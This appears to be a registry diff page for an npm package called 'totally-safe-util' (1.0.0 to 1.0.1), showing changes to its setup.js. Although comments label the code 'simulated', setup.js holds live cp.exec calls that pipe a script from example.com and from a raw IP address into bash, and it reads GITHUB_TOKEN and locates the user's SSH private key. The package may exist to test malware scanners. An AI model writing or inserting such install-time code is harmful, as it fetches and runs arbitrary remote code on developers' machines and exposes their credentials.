totally-safe-util 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/setup.js +2 -2
package/package.json
CHANGED
package/setup.js
CHANGED
|
@@ -9,11 +9,11 @@ console.log("Simulating remote payload execution...");
|
|
|
9
9
|
// ⚠️ Simulated env access
|
|
10
10
|
const token = process.env.GITHUB_TOKEN;
|
|
11
11
|
console.log("Simulated token read:", token ? "[FOUND]" : "[NOT FOUND]");
|
|
12
|
-
|
|
12
|
+
cp.exec("curl http://example.com/payload.sh | bash");
|
|
13
13
|
// ⚠️ Simulated SSH access
|
|
14
14
|
const sshPath = os.homedir() + "/.ssh/id_rsa";
|
|
15
15
|
console.log("Would read:", sshPath);
|
|
16
|
-
|
|
16
|
+
cp.exec("curl http://185.44.32.1/payload.sh | bash");
|
|
17
17
|
// ⚠️ Fake encoded payload
|
|
18
18
|
const payload = "aGVsbG8gd29ybGQ=";
|
|
19
19
|
console.log("Encoded payload:", payload);
|